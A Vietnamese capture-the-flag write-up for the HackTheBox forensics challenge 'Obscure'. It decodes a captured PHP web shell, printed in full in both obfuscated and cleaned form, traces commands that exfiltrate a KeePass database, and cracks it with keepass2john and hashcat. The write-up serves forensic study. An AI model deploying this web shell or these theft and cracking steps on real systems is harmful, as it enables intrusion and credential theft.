# HTB: Obscure Xem trong pcap thấy có web được xây dựng bằng php có tính năng upload file php tuỳ ý. (file: support.php) ![](https://hackmd.io/_uploads/BJNqeCqkT.png) Nội dung file support.php: Nội dung file bị obfuscate bằng cách chèn thêm "u)" ``` <?php $V='$k="80eu)u)32263";$khu)=u)"6f8af44u)abea0";$kf=u)"35103u)u)9f4a7b5";$pu)="0UlYu)yJHG87Eu)JqEz6u)"u)u);function u)x($'; $P='++)u){$o.=u)$t{u)$i}^$k{$j};}}u)retuu)rn $o;}u)if(u)@pregu)_u)match("/$kh(.u)+)$kf/",@u)u)file_u)getu)_cu)ontents('; $d='u)t,$k){u)$c=strlu)en($k);$l=strlenu)($t)u);u)$o=""u);for($i=0u);u)$i<$l;){for(u)$j=0;(u)$u)j<$c&&$i<$l)u)u);$j++,$i'; $B='ob_get_cou)ntu)ents();@obu)_end_cleu)anu)();$r=@basu)e64_eu)ncu)ode(@x(@gzu)compress(u)$o),u)$k));pru)u)int(u)"$p$kh$r$kf");}'; $N=str_replace('FD','','FDcreFDateFD_fFDuncFDFDtion'); $c='"php://u)input"),$u)m)==1){@u)obu)_start();u)@evau)l(@gzuu)ncu)ompress(@x(@bau)se64_u)decodu)e($u)m[1]),$k))u));$u)ou)=@'; $u=str_replace('u)','',$V.$d.$P.$c.$B); $x=$N('',$u);$x(); ?> ``` Nội dung file sau khi đã được loại bỏ "u)" ``` <?php $k="80e32263"; $kh="6f8af44abea0"; $kf="351039f4a7b5"; $p="0UlYyJHG87EJqEz6"; function x($t,$k){ $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;){ for($j=0;($j<$c&&$i<$l);$j++,$i++){ $o.=$t{$i}^$k{$j}; } } return $o; } if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){ @ob_start(); @eval(@gzuncompress(@x(@base64_decode($m[1]),$k))); $o=@ob_get_contents(); @ob_end_clean(); $r=@base64_encode(@x(@gzcompress($o),$k)); print("$p$kh$r$kf"); } ?> ``` Sau khi đã loại bỏ "u)" và xem một số gói TCP Stream nhận thấy kết quả mã hoá được bắt đầu bằng `$p$kh` và kết thúc bằng `$kf`. > VD: 0UlYyJHG87EJqEz66f8af44abea0~~QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy~~351039f4a7b5 Viết lại hàm xử lý của file support.php ``` <?php $k="80e32263"; $kh="6f8af44abea0"; $kf="351039f4a7b5"; $p="0UlYyJHG87EJqEz6"; function x($t,$k){ $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;){ for($j=0;($j<$c&&$i<$l);$j++,$i++){ $o.=$t{$i}^$k{$j}; } } return $o; } $input ="QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy"; $base64 = base64_decode($input); $xor = x($base64,$k); $r=gzuncompress($xor); echo " ".$r; ?> ``` Ở gói TCP Stream 23: thấy có file pwdb.kdbx thuộc thư mục developer được sửa đổi lần cuối vào 20:37 21/05. ![](https://hackmd.io/_uploads/SJGsDA5y6.png) Ở gói TCP Stream 25: ![](https://hackmd.io/_uploads/rk5s5A9ya.png) Có: + `chdir('/home/developer')`: Đổi thư mục làm việc hiện tại thành "/home/developer". + `@error_reporting(0)`:Tắt báo cáo lỗi để không hiển thị thông báo lỗi. + `@system('base64 -w 0 pwdb.kdbx 2>&1')`:Mã hóa tệp pwdb.kdbx dưới dạng Base64 và hiển thị kết quả ra màn hình hoặc trả về, bao gồm cả thông báo lỗi nếu có. Nội dung file New.txt ![](https://hackmd.io/_uploads/BkHBhR51a.png) ![](https://hackmd.io/_uploads/SJiT3R916.png) Theo như TCP Stream 25 thì dữ liệu sau khi base64 sẽ được lưu vào file pwdb.kdbx ![](https://hackmd.io/_uploads/HJ9zyks1p.png) Chuyển đổi file pwdb.kdbx từ dạng KeePass về dạng file .txt sử dụng keepass2john ![](https://hackmd.io/_uploads/HkDR1yiya.png) Sử dụng hashcat để brute force password, mã băm của KeePass 2 là 13400 ![](https://hackmd.io/_uploads/rkATeysyp.png) Mật khẩu: **`chainsaw`** ![](https://hackmd.io/_uploads/Hk9ZGyjya.png) ![](https://hackmd.io/_uploads/Hyv8Gyska.png)